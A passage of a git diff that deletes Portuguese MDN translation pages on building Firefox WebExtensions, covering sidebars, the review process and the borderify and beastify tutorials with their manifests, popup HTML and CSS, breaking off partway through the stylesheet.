-<p>Sidebar documents get access to the same set of privileged JavaScript APIs that the extension's background and popup scripts get. They can get direct access to the background page (unless the sidebar belongs to incognito mode window) using {{WebExtAPIRef("runtime.getBackgroundPage()")}}, and can interact with content scripts or native applications using messaging APIs like {{WebExtAPIRef("tabs.sendMessage()")}} and {{WebExtAPIRef("runtime.sendNativeMessage()")}}.</p>
-
-<p>Sidebar documents are unloaded when their browser window is closed or when the user closes the sidebar. This means that unlike background pages, sidebar documents don't stay loaded all the time, but unlike browser action popups, they stay loaded while the user interacts with web pages.</p>
-
-<p>When an extension that defines a sidebar is first installed, its sidebar will be opened automatically. This is intended to help the user understand that the extension includes a sidebar. Note that it's not possible for extension to open sidebars programmatically: sidebars can only be opened by the user.</p>
-
-<h2 id="Especificar_barras_laterais">Especificar barras laterais</h2>
-
-<p>To specify a sidebar, define the default document with the <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code> manifest.json key, alongside a default title and icon:</p>
-
-<pre class="brush: json">"sidebar_action": {
- "default_title": "My sidebar",
- "default_panel": "sidebar.html",
- "default_icon": "sidebar_icon.png"
-}</pre>
-
-<p>You can change the title, panel, and icon programmatically using the {{WebExtAPIRef("sidebarAction")}} API.</p>
-
-<p>Title and icon are shown to the user in any UI provided by the browser to list sidebars, such as the "View &gt; Sidebar" menu in Firefox.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>O repositório de <a href="https://github.com/mdn/webextensions-examples">exemplos das extensões da Web</a> no GitHub, contém vários exemplos de extensões que utilizam a barra lateral:</p>
-
-<ul>
- <li><a href="https://github.com/mdn/webextensions-examples/tree/master/annotate-page">annotate-page</a> utiliza uma barra lateral.</li>
-</ul>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html
deleted file mode 100644
index ada2698b44..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: O que são extensões?
-slug: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
-tags:
- - Extensões
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
-original_slug: Mozilla/Add-ons/WebExtensions/O_que_sao_WebExtensions
----
-<div>{{AddonSidebar}}</div>
-
-<p>Uma extensão adiciona funcionalidades e funções a um navegador. É criada, utilizando a tecnologia padrão baseada na Web - CSS, HTML e JavaScript. Esta tira vantagem de algumas APIs da Web, como JavaScript pode em uma página da web, mas uma extensão também tem acesso ao seu próprio conjunto de APIs de JavaScript. Isto significa que pode fazer muito mais numa extensão do que pode com o código numa página da Web. Aqui estão apenas alguns exemplos das coisas que pode fazer.</p>
-
-<p><strong>Melhore ou complemente um site da Web</strong>: utilize um extra para fornecer funcionalidades adicionais no navegador ou informação do seu site da Web. Permita que os utilizadores recolham detalhes das páginas que eles visitam, para melhorar o serviço que oferece.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15808/Amazon_add_on.png"></p>
-
-<p>Exemplos: <a href="https://addons.mozilla.org/en-US/firefox/addon/amazon-browser-bar/">Amazon Assistant para Firefox</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/onenote-clipper/">OneNote Web Clipper</a>, e <a href="https://addons.mozilla.org/en-US/firefox/addon/grammarly-1/">Grammarly for Firefox</a></p>
-
-<p><strong>Deixe que os utilizadores mostrem a sua personalidade</strong>: Browser extensions can manipulate the content of pages browsed by a user. Help the user add a favorite logo or picture as the background to every page they visit. Extensions also give you the ability to update the look of the Firefox UI. (Update the Firefox UI using standalone <a href="https://developer.mozilla.org/en-US/Add-ons/Themes/Theme_concepts">theme add-ons</a> too).</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15809/MyWeb_New_Tab_add_on.png" style="height: 398px; width: 540px;"></p>
-
-<p>Exemplos: <a href="https://addons.mozilla.org/en-US/firefox/addon/myweb-new-tab/">MyWeb New Tab</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/tabliss/">Tabliss</a>, e <a href="https://addons.mozilla.org/en-US/firefox/addon/vivaldifox/">VivaldiFox</a></p>
-
-<p><strong>Adicionar ou remover conteúdo das páginas da Web</strong>: You might want to help users block intrusive ads from web pages, provide access to a travel guide whenever a country or city is mentioned in a web page, or reformat page content to offer a consistent reading experience. With the ability to access and update both a page’s HTML and CSS, you can help users see the web the way they want to.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15807/ublock_origin_add_on.png" style="height: 480px; width: 640px;"></p>
-
-<p>Exemplos: <a href="https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/">uBlock Origin</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/reader/">Reader</a>, e <a href="https://addons.mozilla.org/en-US/firefox/addon/toolbox-google-play-store/">Toolbox para Google Play Store™</a></p>
-
-<p><strong>Adicionar ferramentas e novas funcionalidades de navegação</strong>: Add new features to a taskboard, or generate QR code images from URLs, hyperlinks, or page text. With flexible UI options and the power of the WebExtensions APIs you can easily add new features to a browser. And, you can enhance almost any website’s features or functionality, it doesn't have to be your website.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15806/QR_Code_Image_Generator_add_on.png"></p>
-
-<p>Examples: <a href="https://addons.mozilla.org/en-US/firefox/addon/qr-code-image-generator/">QR Code Image Generator</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/swimlanes-for-trello/">Swimlanes for Trello</a>, and <a href="https://addons.mozilla.org/en-US/firefox/addon/tomato-clock/">Tomato Clock</a></p>
-
-<p><strong>Jogos</strong>: Offer traditional computer games, with off-line play features, but also explore new game possibilities, for example, by incorporating gameplay into everyday browsing.</p>
-
-<p> <img alt="" src="https://mdn.mozillademos.org/files/15805/Asteroids_in_Popup_add_on%20.png" style="height: 438px; width: 700px;"></p>
-
-<p>Examples: <a href="https://addons.mozilla.org/en-US/firefox/addon/asteroids-in-popup/">Asteroids in Popup</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/solitaire-card-game-new-tab/">Solitaire Card Game New Tab</a>, and <a href="https://addons.mozilla.org/en-US/firefox/addon/2048-prime/">2048 Prime</a>.</p>
-
-<p><strong>Adicionar ferramentas de desenvolvimento</strong>: You may provide web development tools as your business or have developed a useful technique or approach to web development that you want to share. Either way, you can enhance the built-in Firefox developer tools by adding a new tab to the developer toolbar.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15804/aXe_Developer_Tools_add_on.png" style="height: 261px; width: 700px;"></p>
-
-<p>Examples: <a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/">Web Developer</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/react-devtools/">Web React Developer Tools</a>, and <a href="https://addons.mozilla.org/en-US/firefox/addon/axe-devtools/">aXe Developer Tools</a></p>
-
-<p>Extensions for Firefox are built using the WebExtensions APIs, a cross-browser system for developing extensions. To a large extent, the API is compatible with the <a class="external external-icon" href="https://developer.chrome.com/extensions">extension API</a> supported by Google Chrome and Opera. Extensions written for these browsers will in most cases run in Firefox or Microsoft Edge with just a few <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">changes</a>. The API is also fully compatible with <a href="/en-US/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>.</p>
-
-<p>If you have ideas or questions, or need help migrating a legacy add-on to WebExtensions APIs, you can reach us on the <a class="external external-icon" href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons mailing list</a> or in <a href="irc://irc.mozilla.org/extdev">#extdev</a> on <a class="external external-icon" href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
-
-<h2 id="E_a_seguir">E a seguir?</h2>
-
-<ul>
- <li>Consulte o desenvolvimento de uma extensão simples em <a href="https://developer.mozilla.org/pt-PT/Add-ons/WebExtensions/A_sua_primeira_extensao">A sua primeira extensão</a>.</li>
- <li>Saiba sobre a estrutura de uma extensão em <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomia de uma extensão</a>.</li>
- <li>Experimente alguns exemplos de extensões em <a href="/pt-PT/Add-ons/WebExtensions/Exemplos_extensoes">Exemplos de extensões</a>.</li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html b/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html
deleted file mode 100644
index c4ac2a8348..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: E a seguir?
-slug: Mozilla/Add-ons/WebExtensions/What_next_
-tags:
- - Extensão da Web
- - Extensões
- - Principiante
-translation_of: Mozilla/Add-ons/WebExtensions/What_next_
-original_slug: Mozilla/Add-ons/WebExtensions/E_a_seguir
----
-<div>{{AddonSidebar}}</div>
-
-<p>Agora, irá estar pronto para começar a transformar a sua ideia de uma extensão de navegador em realidade. Antes de começar essa jornada, vale a pena estar ciente de algumas coisas que irão ajudar a facilitar.</p>
-
-<h2 id="O_seu_ambiente_de_desenvolvimento">O seu ambiente de desenvolvimento</h2>
-
-<p>You don't need any special development or build environment tools to create browser extensions: It's entirely possible to create great browser extensions with no more than a text editor. However, you may have been developing for the web and have a set of tools and an environment you want to reuse. If you do, you need to be aware of a couple of things.</p>
-
-<p>If you use minification or obfuscation tools to deliver your final code, you’ll need to provide your source code to <a href="#The_review_process">the AMO review process</a>. Also, the tools you use—those for minification,  obfuscation, and build processes—will need to be open source (or offer unlimited free use) and be available to run on the reviewer’s computer (Windows, Mac, or Linux). Unfortunately, our reviewers can't work with commercial or web-based tools.</p>
-
-<p><a href="/en-US/Add-ons/Source_Code_Submission#About_build_tools">Learn more about build tools</a></p>
-
-<h2 id="Bibliotecas_de_terceiros">Bibliotecas de terceiros</h2>
-
-<p>Third-party libraries are a great way to add complex features or functionality to your browser extensions quickly. When you submit an extension to the <a href="#The_review_processv">AMO review process</a>, the process will also consider any third-party libraries used. To streamline the review, make sure you always download third-party libraries from their official website or repository, and if the library is minified provide a link to the source code. Please note that third-party libraries cannot be modified in any way.</p>
-
-<p><a href="/en-US/Add-ons/Source_Code_Submission">Learn more about submitting source code</a></p>
-
-<h2 id="O_Acordo_de_Distribuição_do_Extra_do_Firefox">O Acordo de Distribuição do Extra do Firefox</h2>
-
-<p>Browser extensions need to be signed to install into the release or beta versions of Firefox. Signing takes place in addons.mozilla.org (AMO) and is subject to the terms and conditions of the Firefox Add-on Distribution Agreement. The goal of the agreement is to ensure Firefox users get access to well supported, quality add-ons that enhance the Firefox experience.</p>
-
-<p><a href="/pt-PT/docs/Mozilla/Add-ons/AMO/Policy/Agreement">Leia o acordo</a></p>
-
-<p><a href="/en-US/Add-ons/WebExtensions/Distribution">Learn more about signing</a></p>
-
-<h2 id="O_processo_de_revisão">O processo de revisão</h2>
-
-<p>When a browser extension is submitted for signing, it's subject to automated review. It may also be subject to a manual review, when the automated review determines that a manual review is needed. Your browser extension won't be signed until it’s passed the automated review and may have its signing revoked if it fails to pass the manual review. The review process follows a strict set of guidelines, so it’s easy to check and avoid any likely review problems.</p>
-
-<p><a href="/en-US/Add-ons/AMO/Policy/Reviews">Check out the review policy and guidelines</a></p>
-
-<h2 id="Extensões_do_navegador_em_destaque_no_AMO">Extensões do navegador em destaque no AMO</h2>
-
-<p>If you choose to list your browser extension on AMO, your extension could be featured on the AMO website, in the Firefox browser’s add-on manager, or elsewhere on a Mozilla website. We've compiled a list of guidelines about how extensions are selected for featuring, by following these guidelines you give your extension the best chance of being featured.</p>
-
-<p><a href="/pt-PT/docs/Mozilla/Add-ons/AMO/Policy/Em_destaque">Saiba mais sobre como colocar os seus extras em destaque</a></p>
-
-<h2 id="Continue_a_sua_experiência_de_aprendizagem">Continue a sua experiência de aprendizagem</h2>
-
-<p>Now you know what lies ahead, it's time to dive into more details about browser extension development. In the sections that follow, you’ll discover:</p>
-
-<ul>
- <li>More about the fundamental concepts behind browser extensions, starting with details on how to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_JavaScript_APIs">use the JavaScript APIs</a>.</li>
- <li>A guide to the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface">user interface components</a> available to your browser extensions.</li>
- <li>A collection of how-to guides on achieving key tasks in your extensions or making use of the JavaScript APIs.</li>
- <li>Information on how to port other browser extensions to Firefox.</li>
- <li>Details about the Firefox specific workflows you can use to develop browser extensions.</li>
- <li>A full reference guide to the JavaScript APIs.</li>
- <li>A full reference guide to the Manifest keys.</li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html
deleted file mode 100644
index 2b711124ca..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html
+++ /dev/null
@@ -1,154 +0,0 @@
----
-title: A sua primeira extensão
-slug: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
-tags:
- - Extensões da Web
- - Guía
-translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
-original_slug: Mozilla/Add-ons/WebExtensions/A_sua_primeira_extensao
----
-<div>{{AddonSidebar}}</div>
-
-<p>Neste artigo, nós iremos abordar a criação de uma extensão para o Firefox, do início até ao fim. A extensão adiciona apenas um contorno vermelho a qualquer página carregada de 'mozilla.org' ou qualquer um dos seus subdomínios.</p>
-
-<p>O código fonte para este exemplo está no GitHub: <em><a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">borderify</a></em>.</p>
-
-<p>Primeiro, precisa de ter o Firefox - versão 45 ou superior.</p>
-
-<h2 id="Escrever_a_extensão">Escrever a extensão</h2>
-
-<p>Crie uma nova diretoria e vá para a mesma:</p>
-
-<pre class="brush: bash">mkdir borderify
-cd borderify</pre>
-
-<h3 id="manifest.json">manifest.json</h3>
-
-<p>Now create a new file called "manifest.json" directly under the "borderify" directory. Give it the following contents:</p>
-
-<pre class="brush: json">{
-
- "manifest_version": 2,
- "name": "Borderify",
- "version": "1.0",
-
- "description": "Adds a red border to all webpages matching mozilla.org.",
-
- "icons": {
- "48": "icons/border-48.png"
- },
-
- "content_scripts": [
- {
- "matches": ["*://*.mozilla.org/*"],
- "js": ["borderify.js"]
- }
- ]
-
-}</pre>
-
-<ul>
- <li>The first three keys: <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code>, <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/name">name</a></code>, and <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/version">version</a></code>, are mandatory and contain basic metadata for the extension.</li>
- <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/description">description</a></code> is optional, but recommended: it's displayed in the Add-ons Manager.</li>
- <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> is optional, but recommended: it allows you to specify an icon for the extension, that will be shown in the Add-ons Manager.</li>
-</ul>
-
-<p>The most interesting key here is <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, which tells Firefox to load a script into Web pages whose URL matches a specific pattern. In this case, we're asking Firefox to load a script called "borderify.js" into all HTTP or HTTPS pages served from "mozilla.org" or any of its subdomains.</p>
-
-<ul>
- <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Learn more about content scripts.</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">Learn more about match patterns</a>.</li>
-</ul>
-
-<div class="warning">
-<p><a href="/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_Add-on_ID">In some situations you need to specify an ID for your extension</a>. If you do need to specify an add-on ID, include the  <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key in <code>manifest.json</code> and set its <code>gecko.id</code> property:</p>
-
-<pre class="brush: json">"applications": {
- "gecko": {
- "id": "borderify@example.com"
- }
-}</pre>
-</div>
-
-<h3 id="iconsborder-48.png">icons/border-48.png</h3>
-
-<p>The extension should have an icon. This will be shown next to the extension's listing in the Add-ons Manager. Our manifest.json promised that we would have an icon at "icons/border-48.png".</p>
-
-<p>Create the "icons" directory directly under the "borderify" directory. Save an icon there named "border-48.png".  You could use <a href="https://github.com/mdn/webextensions-examples/blob/master/borderify/icons/border-48.png">the one from our example</a>, which is taken from the Google Material Design iconset, and is used under the terms of the <a href="https://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike</a> license.</p>
-
-<p>If you choose to supply your own icon, It should be 48x48 pixels. You could also supply a 96x96 pixel icon, for high-resolution displays, and if you do this it will be specified as the <code>96</code> property of the <code>icons</code> object in manifest.json:</p>
-
-<pre class="brush: json">"icons": {
- "48": "icons/border-48.png",
- "96": "icons/border-96.png"
-}</pre>
-
-<p>Alternatively, you could supply an SVG file here, and it will be scaled correctly. (Though: if you're using SVG and your icon includes text, you may want to use your SVG editor's "convert to path" tool to flatten the text, so that it scales with a consistent size/position.)</p>
-
-<ul>
- <li><a href="/pt-PT/Add-ons/WebExtensions/manifest.json/icones">Saiba mais sobre a especificação de ícones (icons).</a></li>
-</ul>
-
-<h3 id="borderify.js">borderify.js</h3>
-
-<p>Finally, create a file called "borderify.js" directly under the "borderify" directory. Give it this content:</p>
-
-<pre class="brush: js">document.body.style.border = "5px solid red";</pre>
-
-<p>This script will be loaded into the pages that match the pattern given in the <code>content_scripts</code> manifest.json key. The script has direct access to the document, just like scripts loaded by the page itself.</p>
-
-<ul>
- <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Learn more about content scripts.</a></li>
-</ul>
-
-<h2 id="Testá-la">Testá-la</h2>
-
-<p>Primeiro, reverifique que tem os ficheiros corretos nos locais certos:</p>
-
-<pre>borderify/
- icons/
- border-48.png
- borderify.js
- manifest.json</pre>
-
-<h3 id="Instalar">Instalar</h3>
-
-<p>Open "about:debugging" in Firefox, click "Load Temporary Add-on" and select any file in your extension's directory:</p>
-
-<p>{{EmbedYouTube("cer9EUKegG4")}}</p>
-
-<p>The extension will now be installed, and will stay until you restart Firefox.</p>
-
-<p>Alternatively, you can run the extension from the command line using the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> tool.</p>
-
-<h3 id="Testar">Testar</h3>
-
-<p>Now try visiting a page under "mozilla.org", and you should see the red border round the page:</p>
-
-<p>{{EmbedYouTube("rxBQl2Z9IBQ")}}</p>
-
-<div class="note">
-<p>Don't try it on addons.mozilla.org, though! Content scripts are currently blocked on that domain.</p>
-</div>
-
-<p>Try experimenting a bit. Edit the content script to change the color of the border, or do something else to the page content. Save the content script, then reload the extensions's files by clicking the "Reload" button in about:debugging. You can see the changes right away:</p>
-
-<p>{{EmbedYouTube("NuajE60jfGY")}}</p>
-
-<ul>
- <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Learn more about loading extensions</a></li>
-</ul>
-
-<h2 id="Empacotar_e_publicação">Empacotar e publicação</h2>
-
-<p>Para que as outras pessoas utilizem a sua extensão, precisa de empacotá-la e enviá-la para a assinar na Mozilla. Para saber mais sobre isto, consulte <a href="/pt-PT/Add-ons/WebExtensions/Publicar_a_sua_extensao">"Publicar a sua extensão"</a>.</p>
-
-<h2 id="E_a_seguir">E a seguir?</h2>
-
-<p>Agora tem uma idéia do processo de desenvolvimento de uma <strong>Extensão da Web</strong> para o Firefox, tente:</p>
-
-<ul>
- <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">reading more about the anatomy of an extension</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">writing a more complex extension</a></li>
- <li><a href="/en-US/Add-ons/WebExtensions/API">reading about the JavaScript APIs available for extensions.</a></li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html
deleted file mode 100644
index 9d3c22efac..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html
+++ /dev/null
@@ -1,461 +0,0 @@
----
-title: A sua segunda extensão
-slug: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
-original_slug: Mozilla/Add-ons/WebExtensions/A_sua_segunda_extensao
----
-<div>{{AddonSidebar}}
-<p>Se já leu o artigo da <a href="/pt-PT/Add-ons/WebExtensions/A_sua_primeira_extensao">A sua primeira extens</a>ão, já tem uma ideia de como escrever uma extensão. Neste artigo, nós iremos escrever uma extensão um pouco mais complexa que demonstra algumas mais das APIs. <br>
- <br>
- A extensão adiciona um novo botão à barra de ferramentas do Firefox. Quando o utilizador clica no botão, nós exibimos uma janela que lhes permite escolher um animal. Uma vez que eles escolhem um animal, nós iremos substituir o conteúdo da página atual com uma fotografia do animal escolhido. <br>
- <br>
- Para implementar isto, nós iremos:.</p>
-
-<p>To implement this, we will:</p>
-
-<ul>
- <li><strong>define a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a>, which is a button attached to the Firefox toolbar</strong>.<br>
- For the button we'll supply:
- <ul>
- <li>an icon, called "beasts-32.png"</li>
- <li>a popup to open when the button is pressed. The popup will include HTML, CSS, and JavaScript.</li>
- </ul>
- </li>
- <li><strong>define an icon for the extension</strong>, called "beasts-48.png". This will be shown in the Add-ons Manager.</li>
- <li><strong>write a content script, "beastify.js" that will be injected into web pages</strong>.<br>
- This is the code that will actually modify the pages.</li>
- <li><strong>package some images of the animals, to replace images in the web page</strong>.<br>
- We'll make the images "web accessible resources" so the web page can refer to them.</li>
-</ul>
-
-<p>You could visualise the overall structure of the extension like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13671/Untitled-1.png" style="display: block; height: 1200px; margin-left: auto; margin-right: auto; width: 860px;"></p>
-
-<p>It's a simple extension, but shows many of the basic concepts of the WebExtensions API:</p>
-
-<ul>
- <li>adding a button to the toolbar</li>
- <li>defining a popup panel using HTML, CSS, and JavaScript</li>
- <li>injecting content scripts into web pages</li>
- <li>communicating between content scripts and the rest of the extension</li>
- <li>packaging resources with your extension that can be used by web pages</li>
-</ul>
-
-<p>You can find <a href="https://github.com/mdn/webextensions-examples/tree/master/beastify">complete source code for the extension on GitHub</a>.</p>
-
-<p>To write this extension, you'll need Firefox 45 or newer.</p>
-
-<h2 id="Escrever_a_extensão">Escrever a extensão</h2>
-
-<p>Create a new directory and navigate to it:</p>
-
-<pre class="brush: bash">mkdir beastify
-cd beastify</pre>
-
-<h3 id="manifest.json">manifest.json</h3>
-
-<p>Now create a new file called "manifest.json", and give it the following contents:</p>
-
-<pre class="brush: json">{
-
- "manifest_version": 2,
- "name": "Beastify",
- "version": "1.0",
-
- "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples#beastify",
- "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
- "icons": {
- "48": "icons/beasts-48.png"
- },
-
- "permissions": [
- "activeTab"
- ],
-
- "browser_action": {
- "default_icon": "icons/beasts-32.png",
- "default_title": "Beastify",
- "default_popup": "popup/choose_beast.html"
- },
-
- "web_accessible_resources": [
- "beasts/frog.jpg",
- "beasts/turtle.jpg",
- "beasts/snake.jpg"
- ]
-
-}
-</pre>
-
-<ul>
- <li>The first three keys: <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name">name</a></code>, and <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version">version</a></code>, are mandatory and contain basic metadata for the extension.</li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description">description</a></code> and <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url">homepage_url</a></code> are optional, but recommended: they provide useful information about the extension.</li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> is optional, but recommended: it allows you to specify an icon for the extension, that will be shown in the Add-ons Manager.</li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> lists permissions the extension needs. We're just asking for the <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission"><code>activeTab</code> permission</a> here.</li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> specifies the toolbar button. We're supplying three pieces of information here:
- <ul>
- <li><code>default_icon</code> is mandatory, and points to the icon for the button</li>
- <li><code>default_title</code> is optional, and will be shown in a tooltip</li>
- <li><code>default_popup</code> is used if you want a popup to be shown when the user clicks the button. We do, so we've included this key and made it point to an HTML file included with the extension.</li>
- </ul>
- </li>
- <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></code> lists files that we want to make accessible to web pages. Since the extension replaces the content in the page with images we've packaged with the extension, we need to make these images accessible to the page.</li>
-</ul>
-
-<p>Note that all paths given are relative to manifest.json itself.</p>
-
-<h3 id="O_ícone">O ícone</h3>
-
-<p>The extension should have an icon. This will be shown next to the extension's listing in the Add-ons Manager (you can open this by visiting the URL "about:addons"). Our manifest.json promised that we would have an icon for the toolbar at "icons/beasts-48.png".</p>
-
-<p>Create the "icons" directory and save an icon there named "beasts-48.png".  You could use <a href="https://github.com/mdn/webextensions-examples/blob/master/beastify/icons/beasts-48.png">the one from our example</a>, which is taken from the <a href="https://www.iconfinder.com/iconsets/free-retina-icon-set">Aha-Soft’s Free Retina iconset</a>, and used under the terms of its <a href="http://www.aha-soft.com/free-icons/free-retina-icon-set/">license</a>.</p>
-
-<p>If you choose to supply your own icon, It should be 48x48 pixels. You could also supply a 96x96 pixel icon, for high-resolution displays, and if you do this it will be specified as the <code>96</code> property of the <code>icons</code> object in manifest.json:</p>
-
-<pre class="brush: json line-numbers language-json"><code class="language-json"><span class="key token">"icons":</span> <span class="punctuation token">{</span>
- <span class="key token">"48":</span> <span class="string token">"icons/beasts-48.png"</span><span class="punctuation token">,</span>
- <span class="key token">"96":</span> <span class="string token">"icons/beasts-96.png"</span>
-<span class="punctuation token">}</span></code></pre>
-
-<h3 id="O_botão_de_barra_de_ferramentas">O botão de barra de ferramentas</h3>
-
-<p>The toolbar button also needs an icon, and our manifest.json promised that we would have an icon for the toolbar at "icons/beasts-32.png".</p>
-
-<p>Save an icon named "beasts-32.png" in the "icons" directory. You could use <a href="https://github.com/mdn/webextensions-examples/blob/master/beastify/icons/beasts-32.png">the one from our example</a>, which is taken from the <a href="http://www.iconbeast.com/free">IconBeast Lite icon set</a> and used under the terms of its <a href="http://www.iconbeast.com/faq/">license</a>.</p>
-
-<p>If you don't supply a popup, then a click event is dispatched to your extension when the user clicks the button. If you do supply a popup, the click event is not dispatched, but instead, the popup is opened. We want a popup, so let's create that next.</p>
-
-<h3 id="A_janela_(popup)">A janela (popup)</h3>
-
-<p>The function of the popup is to enable the user to choose one of three beasts.</p>
-
-<p>Create a new directory called "popup" under the extension root. This is where we'll keep the code for the popup. The popup will consist of three files:</p>
-
-<ul>
- <li><strong><code>choose_beast.html</code></strong> defines the content of the panel</li>
- <li><strong><code>choose_beast.css</code></strong> styles the content</li>
- <li><strong><code>choose_beast.js</code></strong> handles the user's choice by running a content script in the active tab</li>
-</ul>
-
-<pre class="brush: bash">mkdir popup
-cd popup
-touch choose_beast.html choose_beast.css choose_beast.js
-</pre>
-
-<h4 id="choose_beast.html">choose_beast.html</h4>
-
-<p>The HTML file looks like this:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="utf-8"&gt;
- &lt;link rel="stylesheet" href="choose_beast.css"/&gt;
- &lt;/head&gt;
-
-&lt;body&gt;
- &lt;div id="popup-content"&gt;
- &lt;div class="button beast"&gt;Frog&lt;/div&gt;
- &lt;div class="button beast"&gt;Turtle&lt;/div&gt;
- &lt;div class="button beast"&gt;Snake&lt;/div&gt;
- &lt;div class="button reset"&gt;Reset&lt;/div&gt;
- &lt;/div&gt;
- &lt;div id="error-content" class="hidden"&gt;
- &lt;p&gt;Can't beastify this web page.&lt;/p&gt;&lt;p&gt;Try a different page.&lt;/p&gt;
- &lt;/div&gt;
- &lt;script src="choose_beast.js"&gt;&lt;/script&gt;
-&lt;/body&gt;
-
-&lt;/html&gt;
-</pre>
-
-<p>We have a <code><a href="/en-US/docs/Web/HTML/Element/div">&lt;div&gt;</a></code> element with an ID of <code>"popup-content"</code> that contains an element for each animal choice. We have another <code>&lt;div&gt;</code> with an ID of <code>"error-content"</code> and a class <code>"hidden"</code>. We'll use that in case there's a problem initializing the popup.</p>
-
-<p>Note that we include the CSS and JS files from this file, just like a web page.</p>
-
-<h4 id="choose_beast.css">choose_beast.css</h4>
-
-<p>The CSS fixes the size of the popup, ensures that the three choices fill the space, and gives them some basic styling. It also hides elements with <code>class="hidden"</code>: this means that our <code>"error-content"</code> <code>&lt;div&gt;</code> will be hidden by default.</p>
-
-<pre class="brush: css">html, body {
- width: 100px;
-}
-
-.hidden {
- display: none;
-}
-
-.button {
- margin: 3% auto;
- padding: 4px;
- text-align: center;
- font-size: 1.5em;
- cursor: pointer;
-}
-
-.beast:hover {
- background-color: #CFF2F2;
-}
-
-.beast {
- background-color: #E5F2F2;
-}
-
-.reset {
